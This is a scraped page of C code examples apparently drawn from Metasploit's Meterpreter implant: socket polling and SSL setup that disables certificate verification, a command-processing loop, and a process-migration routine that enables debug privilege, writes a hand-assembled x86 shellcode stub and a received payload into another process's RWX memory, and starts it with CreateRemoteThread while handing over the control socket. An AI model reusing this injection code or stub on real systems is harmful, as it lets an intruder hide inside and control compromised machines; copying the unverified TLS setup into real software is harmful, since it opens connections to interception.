Exemple #1
0
// Flush all pending data on the connected socket before doing SSL
static void flush_socket(Remote *remote) {
	fd_set fdread;
	DWORD ret;
	SOCKET fd;
    unsigned char buff[4096];

	fd = remote_get_fd(remote);
	while (1) {
		struct timeval tv;
		LONG data;

		FD_ZERO(&fdread);
		FD_SET(fd, &fdread);

		// Wait for up to one second for any errant socket data to appear
		tv.tv_sec  = 1;
		tv.tv_usec = 0;

		data = select(fd + 1, &fdread, NULL, NULL, &tv);
		if(data == 0) break;

		ret = recv(fd, buff, sizeof(buff), 0);
		dprintf("Flushed %d bytes from the buffer");
		continue;
	}
}
/*
 * Poll a socket for data to recv and block when none available.
 */
static LONG server_socket_poll( Remote * remote, long timeout )
{
	struct timeval tv;
	LONG result;
	fd_set fdread;
	SOCKET fd;

	lock_acquire( remote->lock );

	fd = remote_get_fd( remote );

	FD_ZERO( &fdread );
	FD_SET( fd, &fdread );

	tv.tv_sec  = 0;
	tv.tv_usec = timeout;

	result = select((int)fd + 1, &fdread, NULL, NULL, &tv );

#ifndef _WIN32 
	// Handle EAGAIN, etc.
	if(result == -1) {
		if(errno == EINTR || errno == EAGAIN || errno == EWOULDBLOCK) {
			result = 0;
		}
	}
#endif

	lock_release( remote->lock );

	return result;
}
/*
 * Negotiate SSL on the socket.
 */
static BOOL server_negotiate_ssl(Remote *remote)
{
	BOOL success = TRUE;
	SOCKET fd    = 0;
    DWORD ret    = 0;

	lock_acquire( remote->lock );

	do
	{
		fd = remote_get_fd(remote);

		remote->meth = SSLv3_client_method();

		remote->ctx  = SSL_CTX_new(remote->meth);
		SSL_CTX_set_mode(remote->ctx, SSL_MODE_AUTO_RETRY);

		remote->ssl  = SSL_new(remote->ctx);
		SSL_set_verify(remote->ssl, SSL_VERIFY_NONE, NULL);
		    
		if( SSL_set_fd(remote->ssl, remote->fd) == 0 )
		{
			dprintf("[SERVER] set fd failed");
			success = FALSE;
			break;
		}
		
		if( (ret = SSL_connect(remote->ssl)) != 1 )
		{
			dprintf("[SERVER] connect failed %d\n", SSL_get_error(remote->ssl, ret));
			success = FALSE;
			break;
		}

		dprintf("[SERVER] Sending a HTTP GET request to the remote side...");

		if( (ret = SSL_write(remote->ssl, "GET /123456789 HTTP/1.0\r\n\r\n", 27)) <= 0 )
		{
			dprintf("[SERVER] SSL write failed during negotiation with return: %d (%d)", ret, SSL_get_error(remote->ssl, ret));
		}

	} while(0);

	lock_release( remote->lock );

	dprintf("[SERVER] Completed writing the HTTP GET request: %d", ret);
	
	if( ret < 0 )
		success = FALSE;

	return success;
}
Exemple #4
0
/*
 * Process console commands in a loop
 *
 * I would use the scheduler but allowing the file descriptor to drop
 * into non-blocking mode makes things annoying.
 */
VOID console_process_commands(Remote *remote)
{
	SOCKET fd = remote_get_fd(remote);
	struct timeval tv;
	fd_set fdread;
	LONG r;

	console_write_prompt();

	// Execute the scheduler in a loop
	while (1)
	{
		FD_ZERO(&fdread);
		FD_SET(fd, &fdread);

		tv.tv_sec  = 0;
		tv.tv_usec = 100;

		if ((r = select(fd + 1, &fdread, NULL, NULL, &tv)) > 0)
		{
			LONG bytes = 0;

			ioctlsocket(fd, FIONREAD, &bytes);

			if (bytes == 0)
			{
				console_write_output(
						"\n"
						"Connection reset by peer.\n");
				break;
			}

			command_process_remote(remote, NULL);
		}
		else if (r < 0)
			break;

		scheduler_run(remote, 0);
	}
}
Exemple #5
0
/*
 * Negotiate SSL on the socket
 */
static DWORD negotiate_ssl(Remote *remote)
{
	DWORD hres = ERROR_SUCCESS;
	SOCKET fd = remote_get_fd(remote);
    DWORD ret;
	
	SSL_load_error_strings();
	SSL_library_init();

	remote->meth = TLSv1_client_method();

	remote->ctx  = SSL_CTX_new(remote->meth);
	SSL_CTX_set_mode(remote->ctx, SSL_MODE_AUTO_RETRY);

	remote->ssl  = SSL_new(remote->ctx);
	SSL_set_verify(remote->ssl, SSL_VERIFY_NONE, NULL);
	    if (SSL_set_fd(remote->ssl, remote->fd) == 0) {
		    perror("set fd failed");
		    exit(1);
	    }
	    

	    if ((ret = SSL_connect(remote->ssl)) != 1) {
		    printf("connect failed %d\n", SSL_get_error(remote->ssl, ret));
		    exit(1);
	    }
	dprintf("Sending a HTTP GET request to the remote side...");
	if((ret = SSL_write(remote->ssl, "GET / HTTP/1.0\r\n\r\n", 18)) <= 0) {
		dprintf("SSL write failed during negotiation with return: %d (%d)", ret, 
			SSL_get_error(remote->ssl, ret));
	}

	dprintf("Completed writing the HTTP GET request: %d", ret);
	
	if(ret < 0)
		ExitThread(0);

	return(0);
}
/*
 * Flush all pending data on the connected socket before doing SSL.
 */
static VOID server_socket_flush( Remote * remote )
{
	fd_set fdread;
	DWORD ret;
	SOCKET fd;
    char buff[4096];

	lock_acquire( remote->lock );

	fd = remote_get_fd(remote);

	while (1) {
		struct timeval tv;
		LONG data;

		FD_ZERO(&fdread);
		FD_SET(fd, &fdread);

		// Wait for up to one second for any errant socket data to appear
		tv.tv_sec  = 1;
		tv.tv_usec = 0;

		data = select((int)fd + 1, &fdread, NULL, NULL, &tv);
		if(data == 0)
			break;

		ret = recv(fd, buff, sizeof(buff), 0);
		dprintf("[SERVER] Flushed %d bytes from the buffer", ret);

		// The socket closed while we waited
		if(ret == 0) {
			break;
		}
		continue;
	}

	lock_release( remote->lock );
}
/*
 * Poll a socket for data to recv and block when none available.
 */
static LONG server_socket_poll( Remote * remote, long timeout )
{
	struct timeval tv;
	LONG result;
	fd_set fdread;
	SOCKET fd;

	lock_acquire( remote->lock );

	fd = remote_get_fd( remote );

	FD_ZERO( &fdread );
	FD_SET( fd, &fdread );

	tv.tv_sec  = 0;
	tv.tv_usec = timeout;

	result = select( fd + 1, &fdread, NULL, NULL, &tv );

	lock_release( remote->lock );

	return result;
}
Exemple #8
0
/*
 * Monitor for requests and local waitable items in the scheduler
 */
static DWORD monitor_loop(Remote *remote)
{
	DWORD hres = ERROR_SUCCESS;
	SOCKET fd = remote_get_fd(remote);
	fd_set fdread;
    
	/*
	 * Read data locally and remotely
	 */
	while (1)
	{
		struct timeval tv;
		LONG data;

		FD_ZERO(&fdread);
		FD_SET(fd, &fdread);

		tv.tv_sec  = 0;
		tv.tv_usec = 100;

		data = select(fd + 1, &fdread, NULL, NULL, &tv);

		if (data > 0)
		{
			if ((hres = command_process_remote(remote, NULL)) != ERROR_SUCCESS)
				break;
		}
		else if (data < 0)
			break;

		// Process local scheduler items
		scheduler_run(remote, 0);
	}

	return hres;
}
DWORD remote_request_core_migrate(Remote *remote, Packet *packet)
{
	MigrationStubContext context;
	TOKEN_PRIVILEGES privs;
	HANDLE token = NULL;
	Packet *response = packet_create_response(packet);
	HANDLE process = NULL;
	HANDLE thread = NULL;
	HANDLE event = NULL;
	LPVOID dataBase;
	LPVOID codeBase;
	DWORD threadId;
	DWORD result = ERROR_SUCCESS;
	DWORD pid;
	PUCHAR payload;

	// Bug fix for Ticket #275: recv the migrate payload into a RWX buffer instead of straight onto the stack (Stephen Fewer).
	BYTE stub[] =
		"\x8B\x74\x24\x04"         //  mov esi,[esp+0x4]         ; ESI = MigrationStubContext *
		"\x89\xE5"                 //  mov ebp,esp               ; create stack frame
		"\x81\xEC\x00\x40\x00\x00" //  sub esp, 0x4000           ; alloc space on stack
		"\x8D\x4E\x20"             //  lea ecx,[esi+0x20]        ; ECX = MigrationStubContext->ws2_32
		"\x51"                     //  push ecx                  ; push "ws2_32"
		"\xFF\x16"                 //  call near [esi]           ; call loadLibrary
		"\x54"                     //  push esp                  ; push stack address
		"\x6A\x02"                 //  push byte +0x2            ; push 2
		"\xFF\x56\x0C"             //  call near [esi+0xC]       ; call wsaStartup
		"\x6A\x00"                 //  push byte +0x0            ; push null
		"\x6A\x00"                 //  push byte +0x0            ; push null
		"\x8D\x46\x28"             //  lea eax,[esi+0x28]        ; EAX = MigrationStubContext->info
		"\x50"                     //  push eax                  ; push our duplicated socket
		"\x6A\x00"                 //  push byte +0x0            ; push null
		"\x6A\x02"                 //  push byte +0x2            ; push 2
		"\x6A\x01"                 //  push byte +0x1            ; push 1
		"\xFF\x56\x10"             //  call near [esi+0x10]      ; call wsaSocket
		"\x97"                     //  xchg eax,edi              ; edi now = our duplicated socket
		"\xFF\x76\x1C"             //  push dword [esi+0x1C]     ; push our event
		"\xFF\x56\x18"             //  call near [esi+0x18]      ; call setevent
		"\xFF\x76\x04"             //  push dword [esi+0x04]     ; push the address of the payloadBase
		"\xC3";                    //  ret                       ; return into the payload

	// Get the process identifier to inject into
	pid = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PID);

	// Bug fix for Ticket #275: get the desired length of the to-be-read-in payload buffer...
	context.payloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_LEN);

	// Receive the actual migration payload (metsrv.dll + loader)
	payload = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD);

	// Try to enable the debug privilege so that we can migrate into system
	// services if we're administrator.
	if (OpenProcessToken(
			GetCurrentProcess(),
			TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
			&token))
	{
		privs.PrivilegeCount           = 1;
		privs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	
		LookupPrivilegeValue(NULL, SE_DEBUG_NAME,
				&privs.Privileges[0].Luid);
	
		AdjustTokenPrivileges(token, FALSE, &privs, 0, NULL, NULL);

		CloseHandle(token);
	}

	do
	{
		// Open the process so that we can into it
		if (!(process = OpenProcess(
				PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | 
				PROCESS_VM_WRITE | PROCESS_CREATE_THREAD, FALSE, pid)))
		{
			result = GetLastError();
			break;
		}

		// If the socket duplication fails...
		if (WSADuplicateSocket(remote_get_fd(remote), pid, &context.info) != NO_ERROR)
		{
			result = WSAGetLastError();
			break;
		}

		// Create a notification event that we'll use to know when
		// it's safe to exit (once the socket has been referenced in
		// the other process)
		if (!(event = CreateEvent(NULL, TRUE, FALSE, NULL)))
		{
			result = GetLastError();
			break;
		}

		// Duplicate the event handle into the target process
		if (!DuplicateHandle(GetCurrentProcess(), event,
				process, &context.event, 0, TRUE, DUPLICATE_SAME_ACCESS))
		{
			result = GetLastError();
			break;
		}

		// Initialize the migration context
		context.loadLibrary    = (LPVOID)GetProcAddress(GetModuleHandle("kernel32"), "LoadLibraryA");
		context.wsaStartup     = (LPVOID)GetProcAddress(GetModuleHandle("ws2_32"), "WSAStartup");
		context.wsaSocket      = (LPVOID)GetProcAddress(GetModuleHandle("ws2_32"), "WSASocketA");
		context.recv           = (LPVOID)GetProcAddress(GetModuleHandle("ws2_32"), "recv");
		context.setevent       = (LPVOID)GetProcAddress(GetModuleHandle("kernel32"), "SetEvent");

		strcpy(context.ws2_32, "ws2_32");

		// Allocate storage for the stub and context
		if (!(dataBase = VirtualAllocEx(process, NULL, sizeof(MigrationStubContext) + sizeof(stub), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE)))
		{
			result = GetLastError();
			break;
		}

		// Bug fix for Ticket #275: Allocate a RWX buffer for the to-be-read-in payload...
		if (!(context.payloadBase = VirtualAllocEx(process, NULL, context.payloadLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE)))
		{
			result = GetLastError();
			break;
		}

		// Initialize the data and code base in the target process
		codeBase = (PCHAR)dataBase + sizeof(MigrationStubContext);

		if (!WriteProcessMemory(process, dataBase, &context, sizeof(context), NULL))
		{
			result = GetLastError();
			break;
		}

		if (!WriteProcessMemory(process, codeBase, stub, sizeof(stub), NULL))
		{
			result = GetLastError();
			break;
		}

		if (!WriteProcessMemory(process, context.payloadBase, payload, context.payloadLength, NULL))
		{
			result = GetLastError();
			break;
		}

		// Send a successful response to let them know that we've pretty much
		// successfully migrated and are reaching the point of no return
		packet_transmit_response(result, remote, response);
		
		// XXX: Skip SSL shutdown/notify, as it queues a TLS alert on the socket.
		// Shut down our SSL session
		// ssl_close_notify(&remote->ssl);
		// ssl_free(&remote->ssl);


		response = NULL;

		// Create the thread in the remote process
		if (!(thread = CreateRemoteThread(process, NULL, 1024*1024, (LPTHREAD_START_ROUTINE)codeBase, dataBase, 0, &threadId)))
		{
			result = GetLastError();
			ExitThread(result);
		}

		// Wait at most 5 seconds for the event to be set letting us know that
		// it's finished
		if (WaitForSingleObjectEx(event, 5000, FALSE) != WAIT_OBJECT_0)
		{
			result = GetLastError();
			ExitThread(result);
		}
		

		// Exit the current process now that we've migrated to another one
		dprintf("Shutting down the Meterpreter thread...");
		ExitThread(0);

	} while (0);

	// If we failed and have not sent the response, do so now
	if (result != ERROR_SUCCESS && response)
		packet_transmit_response(result, remote, response);

	// Cleanup
	if (process)
		CloseHandle(process);
	if (thread)
		CloseHandle(thread);
	if (event)
		CloseHandle(event);

	return ERROR_SUCCESS;
}